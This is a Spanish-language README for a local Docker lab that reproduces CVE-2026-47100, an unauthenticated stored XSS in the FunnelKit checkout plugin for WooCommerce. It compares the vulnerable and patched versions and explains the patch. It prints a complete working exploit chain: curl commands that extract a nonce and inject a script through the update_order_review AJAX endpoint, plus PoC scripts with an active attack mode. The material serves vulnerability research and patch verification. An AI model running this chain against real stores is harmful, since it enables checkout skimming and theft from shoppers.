
Laboratorio Docker local para reproducir CVE-2026-47100, un XSS almacenado no autenticado en FunnelKit para WooCommerce. Incluye scripts de PoC para comparar las versiones vulnerables y parcheadas.
Laboratorio local con Docker para reproducir CVE-2026-47100 de forma segura y con el menor impacto posible. Este laboratorio compara una versión vulnerable de FunnelKit con una versión parcheada y verifica el comportamiento mediante un marcador/alerta de JavaScript inofensivo.
CVE-2026-47100 es una vulnerabilidad por falta de autorización en Funnel Builder / FunnelKit para el checkout de WooCommerce anterior a la versión 3.15.0.3.
El flujo AJAX vulnerable del checkout permite que un visitante no autenticado invoque un método interno del plugin y escriba datos en el ajuste de script externo global integrado de FunnelKit. Debido a que ese ajuste se renderiza posteriormente en las páginas de checkout de FunnelKit, el problema puede convertirse en XSS almacenado no autenticado en las páginas de checkout.
Este repositorio reproduce el problema localmente mediante dos servicios Docker:
| Servicio | Versión | URL | Resultado esperado |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | comportamiento vulnerable confirmado |
patched | 3.15.0.3 | http://127.0.0.1:8082 | escritura bloqueada / marcador no renderizado |

Selección inicial de CVE a partir de la salida de Vulnx. El laboratorio y el PoC se construyeron manualmente comparando el comportamiento vulnerable y el parcheado.
Un atacante no autenticado puede abusar del flujo AJAX público del checkout para persistir JavaScript en el ajuste de script externo global de FunnelKit.
En una tienda WooCommerce real, esto podría permitir que JavaScript malicioso se ejecute en el navegador de los usuarios que visitan la página de checkout. Informes públicos han vinculado esta clase de vulnerabilidad con campañas de skimming en el checkout.
Este laboratorio utiliza intencionalmente solo un marcador de prueba inofensivo:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
La versión vulnerable acepta datos de checkout controlados por el usuario desde el endpoint AJAX público de WooCommerce:
/?wc-ajax=update_order_review
Dentro del flujo de checkout de FunnelKit, la solicitud puede incluir:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
La lógica vulnerable comprueba si el nombre de acción proporcionado existe como método de clase. Si el método existe, se puede invocar desde el flujo público de checkout.
Comportamiento vulnerable simplificado:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
La acción importante controlada por el atacante es:
update_global_settings_fields
Ese método actualiza la opción de WordPress:
_wfacp_global_settings
y específicamente la clave integrada de FunnelKit:
wfacp_global_external_script
El valor almacenado lo lee posteriormente la plantilla de checkout y se renderiza en la página de checkout. Esto crea la condición de XSS almacenado.
Cadena de explotación:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
La versión 3.15.0.3 refuerza la ruta vulnerable con dos cambios importantes.
La versión parcheada restringe qué acciones de checkout pueden invocarse desde el flujo público de checkout.
Comportamiento parcheado simplificado:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Esto impide que métodos internos arbitrarios como update_global_settings_fields sean invocados mediante solicitudes de checkout no autenticadas.
La versión parcheada también añade una comprobación de autorización antes de que puedan actualizarse los ajustes globales:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Esto significa que el ajuste de script externo global solo debería poder ser modificado por usuarios con privilegios de gestión de WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
El proceso de inicialización crea:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
El laboratorio utiliza una URL de checkout determinista:
/?post_type=wfacp_checkout&p=11
Esto carga explícitamente el custom post de checkout de FunnelKit en el laboratorio Docker local.
Inicia el laboratorio:
docker compose up -d --build
Comprueba los servicios:
docker compose ps
Servicios esperados:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Instala las dependencias de Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py es el PoC de laboratorio determinista.
Asume los valores de inicialización del Docker local:
product_id = 10
checkout_post_id = 11
Ejecútalo contra el servicio vulnerable:
python3 poc/poc_lab.py http://127.0.0.1:8081
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Ejecútalo contra el servicio parcheado:
python3 poc/poc_lab.py http://127.0.0.1:8082
Resultado esperado:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py es una herramienta de autocomprobación autorizada más portable.
Solo comprobación pasiva:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Comprobación activa autorizada:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Modo solo marcador sin alerta:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Intento de limpieza:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Crea una sesión nueva de WooCommerce y añade el producto del laboratorio al carrito:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Obtén la página de checkout de FunnelKit y extrae el nonce de checkout de WooCommerce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Envía la solicitud AJAX de checkout manipulada:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifica que la opción se haya escrito:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Resultado esperado:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Verifica que el marcador se renderice:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Ábrela en un navegador para ver la alerta inofensiva:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Repite el mismo flujo contra el puerto 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifica que la opción permanezca sin cambios:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Resultado esperado:
[]
Verifica que el marcador no se renderice:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Resultado esperado: sin salida.
El servicio vulnerable confirma el problema cuando se cumplen todas las condiciones siguientes:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
El servicio parcheado confirma la corrección cuando:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Este repositorio es únicamente para investigación de seguridad local y autorizada.
Alcance permitido:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
No permitido:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
El PoC utiliza únicamente una alerta y un marcador inofensivos.